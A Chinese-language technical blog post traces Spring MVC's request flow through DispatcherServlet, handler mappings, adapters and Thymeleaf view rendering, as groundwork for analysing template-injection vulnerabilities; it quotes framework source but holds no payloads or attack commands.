该方法主要是遍历所有的 handlerMappings 进行处理,handlerMappings 是在启动的时候预先注册好的,handlerMappings 包含 RequestMappingHandlerMapping、BeanNameUrlHandlerMapping、RouterFunctionMapping、SimpleUrlHandlerMapping 以及 WelcomePageHandlerMapping,在循环中会调用 AbstractHandlerMapping 类中的 getHandler 方法 来获取 Handler 执行链,若获取的 Handler 执行链不为 null,则返回当前请求的 Handler 执行链,DispatcherServlet 类的 getHandler 方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 protected HandlerExecutionChain getHandler (HttpServletRequest request) throws Exception { if (this .handlerMappings != null ) { for (HandlerMapping mapping : this .handlerMappings) { HandlerExecutionChain handler = mapping.getHandler(request); if (handler != null ) { return handler; } } } return null ; }
在循环中,根据 mapping.getHandler(request);,继续往下看 AbstractHandlerMapping 类中的 getHandler 方法 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public final HandlerExecutionChain getHandler (HttpServletRequest request) throws Exception { Object handler = getHandlerInternal(request); if (handler == null ) { handler = getDefaultHandler(); } if (handler == null ) { return null ; } if (handler instanceof String) { String handlerName = (String) handler; handler = obtainApplicationContext().getBean(handlerName); } return getHandlerExecutionChain(handler, request); }
AbstractHandlerMapping 类中的 getHandler 方法中首先根据 request 获取 handler ,看到调用了新的getHandlerInternal 方法
跟进一下AbstractHandlerMethodMapping 类中的 getHandlerInternal 方法,看到该方法首先获取 request 中的 url,即 /path,用来匹配 handler 并封装成 HandlerMethod,然后根据 handlerMethod 中的 bean 来实例化 Handler 并返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected HandlerMethod getHandlerInternal (HttpServletRequest request) throws Exception { String lookupPath = getUrlPathHelper().getLookupPathForRequest(request); request.setAttribute(LOOKUP_PATH, lookupPath); this .mappingRegistry.acquireReadLock(); try { HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request); return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null ); } finally { this .mappingRegistry.releaseReadLock(); } }
可以看到从request中获取了/path
接下来,我们看 lookupHandlerMethod 的逻辑,主要逻辑委托给了 mappingRegistry 这个成员变量来处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 protected HandlerMethod lookupHandlerMethod (String lookupPath, HttpServletRequest request) throws Exception { List<Match> matches = new ArrayList <>(); List<T> directPathMatches = this .mappingRegistry.getMappingsByUrl(lookupPath); if (directPathMatches != null ) { addMatchingMappings(directPathMatches, matches, request); } if (matches.isEmpty()) { addMatchingMappings(this .mappingRegistry.getMappings().keySet(), matches, request); } if (!matches.isEmpty()) { Comparator<Match> comparator = new MatchComparator (getMappingComparator(request)); matches.sort(comparator); Match bestMatch = matches.get(0 ); if (matches.size() > 1 ) { if (logger.isTraceEnabled()) { logger.trace(matches.size() + " matching mappings: " + matches); } if (CorsUtils.isPreFlightRequest(request)) { return PREFLIGHT_AMBIGUOUS_MATCH; } Match secondBestMatch = matches.get(1 ); if (comparator.compare(bestMatch, secondBestMatch) == 0 ) { Method m1 = bestMatch.handlerMethod.getMethod(); Method m2 = secondBestMatch.handlerMethod.getMethod(); String uri = request.getRequestURI(); throw new IllegalStateException ( "Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}" ); } } request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod); handleMatch(bestMatch.mapping, lookupPath, request); return bestMatch.handlerMethod; } else { return handleNoMatch(this .mappingRegistry.getMappings().keySet(), lookupPath, request); } }
之后通过createWithResolvedBean()方法,根据 handlerMethod 中的 bean 来实例化 Handler(找到对应控制器)
通过上面的过程,我们就获取到了 Handler。
看到动态调试时回到AbstractHandlerMapping 类中的 getHandler 方法继续执行,调用了getHandlerExecutionChain方法
该方法是用于封装执行链 ,将配置的拦截器加入到执行链中去,getHandlerExecutionChain 方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 protected HandlerExecutionChain getHandlerExecutionChain (Object handler, HttpServletRequest request) { HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ? (HandlerExecutionChain) handler : new HandlerExecutionChain (handler)); String lookupPath = this .urlPathHelper.getLookupPathForRequest(request, LOOKUP_PATH); for (HandlerInterceptor interceptor : this .adaptedInterceptors) { if (interceptor instanceof MappedInterceptor) { MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor; if (mappedInterceptor.matches(lookupPath, this .pathMatcher)) { chain.addInterceptor(mappedInterceptor.getInterceptor()); } } else { chain.addInterceptor(interceptor); } } return chain; }
到此为止,我们就获取了当前请求的 Handler 执行链,接下来看下是如何获取请求的 Handler 适配器 ,主要依靠 DispatcherServlet 类的 getHandlerAdapter 方法 ,该方法就是遍历所有的 HandlerAdapter,找到和当前 Handler 匹配的就返回,在这里匹配到的为 RequestMappingHandlerAdapter。DispatcherServlet 类的 getHandlerAdapter 方法如下
1 2 3 4 5 6 7 8 9 10 11 12 protected HandlerAdapter getHandlerAdapter (Object handler) throws ServletException { if (this .handlerAdapters != null ) { for (HandlerAdapter adapter : this .handlerAdapters) { if (adapter.supports(handler)) { return adapter; } } } throw new ServletException ("No adapter for handler [" + handler + "]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler" ); }
HandlerAdapter 执行当前的 Handler 再获取完当前请求的 Handler 适配器后,接着进行缓存处理 ,也就是对 last-modified 的处理,然后调用 applyPreHandle 方法执行拦截器的 preHandle 方法 ,即遍历所有定义的 interceptor,执行 postHandle 方法,然后就到了实际执行 handle 的地方,doDispatch 方法中 handle 方法是执行当前 Handler,我们这里使用的是 RequestMappingHandlerAdapter,首先会进入 AbstractHandlerMethodAdapter 的 handle 方法 :
实现执行 Controller 中 (Handler) 的方法,返回 ModelAndView 视图
在 AbstractHandlerMethodAdapter 的 handle 方法中又调用了 RequestMappingHandlerAdapter 类的 handleInternal 方法 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 protected ModelAndView handleInternal (HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception { ModelAndView mav; checkRequest(request); if (this .synchronizeOnSession) { HttpSession session = request.getSession(false ); if (session != null ) { Object mutex = WebUtils.getSessionMutex(session); synchronized (mutex) { mav = invokeHandlerMethod(request, response, handlerMethod); } } else { mav = invokeHandlerMethod(request, response, handlerMethod); } } else { mav = invokeHandlerMethod(request, response, handlerMethod); } if (!response.containsHeader(HEADER_CACHE_CONTROL)) { if (getSessionAttributesHandler(handlerMethod).hasSessionAttributes()) { applyCacheSeconds(response, this .cacheSecondsForSessionAttributeHandlers); } else { prepareResponse(response); } } return mav; }
在执行完 handle 方法后,然后调用 applyDefaultViewName 方法组装默认视图名称 ,将前缀和后缀名都加上,接着调用 applyPostHandle 方法执行拦截器的 preHandle 方法 ,也就是遍历所有定义的 interceptor,执行 postHandle 方法
封装ModelAndView对象 invokeHandlerMethod() 方法先执行目标的 HandlerMethod,并返回一个 ModelAndView 对象。比较重要的方法在第 512 行,此处的 handlerMethod 其实是 com.abc.ssti.controller.ThymeleafController#path(String),这一个方法,通过 this.createInvocableHandlerMethod() 方法,将其封装成 ServletInvocableHandlerMethod 类,并让其具有 invoke 执行能力。
后续,给 invocableMethod 的各大属性赋值,在赋值完毕后 new 了一个 ModelAndViewContainer 对象,后续会将所有的值保存到这一个对象中。
往下走,先调用 AsyncWebRequest 进行异步请求的包装,后续针对是否是异步请求,做不同的处理。继续往下走,到 524行的地方是关键点,它调用了 ServletInvocableHandlerMethod.invokeAndHandle() 方法,调用这个方法的作用主要是获取到了 returnValueHandlers,跟进看一下。
在ServletInvocableHandlerMethod#invokeAndHandle中,做了如下操作:
invokeForRequest调用Controller后获取返回值到returnValue中
判断returnValue是否为空,如果是则继续判断0RequestHandled是否为True,都满足的话设置requestHandled为true
通过handleReturnValue根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public void invokeAndHandle (ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception { Object returnValue = this .invokeForRequest(webRequest, mavContainer, providedArgs); this .setResponseStatus(webRequest); if (returnValue == null ) { if (this .isRequestNotModified(webRequest) || this .getResponseStatus() != null || mavContainer.isRequestHandled()) { this .disableContentCachingIfNecessary(webRequest); mavContainer.setRequestHandled(true ); return ; } } else if (StringUtils.hasText(this .getResponseStatusReason())) { mavContainer.setRequestHandled(true ); return ; } mavContainer.setRequestHandled(false ); Assert.state(this .returnValueHandlers != null , "No return value handlers" ); try { this .returnValueHandlers.handleReturnValue(returnValue, this .getReturnValueType(returnValue), mavContainer, webRequest); } catch (Exception var6) { if (logger.isTraceEnabled()) { logger.trace(this .formatErrorForReturnValue(returnValue), var6); } throw var6;
下面分析handleReturnValue方法。
selectHandler根据返回值和类型找到不同的HandlerMethodReturnValueHandler,这里得到了ViewNameMethodReturnValueHandler,具体怎么得到的就不分析了。
调用handler.handleReturnValue,这里得到不同的HandlerMethodReturnValueHandler处理的方式也不相同。
1 2 3 4 5 6 7 8 9 10 public void handleReturnValue (@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception { HandlerMethodReturnValueHandler handler = this .selectHandler(returnValue, returnType); if (handler == null ) { throw new IllegalArgumentException ("Unknown return value type: " + returnType.getParameterType().getName()); } else { handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest); } }
ViewNameMethodReturnValueHandler#handleReturnValue
判断返回值类型是否为字符型,设置mavContainer.viewName
判断返回值是否以redirect:开头,如果是的话则设置重定向的属性
1 2 3 4 5 6 7 8 9 10 11 12 13 public void handleReturnValue (@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception { if (returnValue instanceof CharSequence) { String viewName = returnValue.toString(); mavContainer.setViewName(viewName); if (this .isRedirectViewName(viewName)) { mavContainer.setRedirectModelScenario(true ); } } else if (returnValue != null ) { throw new UnsupportedOperationException ("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod()); } }
通过上面的操作,将返回值设置为mavContainer.viewName,执行上述操作后返回到RequestMappingHandlerAdapter#invokeHandlerMethod中。通过getModelAndView获取ModelAndView对象。
getModelAndView根据viewName和model创建ModelAndView对象并返回。
View Resolver 与执行模板渲染 获取ModelAndView后,通过DispatcherServlet#render获取视图解析器并渲染。
看到712行引用自己的模板引擎渲染
跳转到模板的render方法
因为我们用的是 Thymeleaf 模版引擎,所以 view.render 找到对应的视图 ThymeleafView 的 render 方法 进行渲染。
ThymeleafView 的 render 方法又调用 renderFragment 方法进行视图渲染,渲染完成之后,DispatcherServlet 就可以将结果返回给我们了。
tips
动态调试一般适用于反复查看漏洞关键点不同的参数情况以及传参过程,代码执行情况调用的函数等一些比较大的方向看调用栈即可,一步步调试很容易乱
总结
三个模板漏洞都是在渲染代码中触发漏洞,走入对应的render渲染方法开始,最终走到Method类的invoke方法利用java反射调用runtime(或其他)方法执行exec命令后结束
将配置的拦截器加入到执行链中去,在getHandlerExecutionChain 方法
分析源码真的很需要耐心,得一步步慢慢调试才能进入关键函数
参考: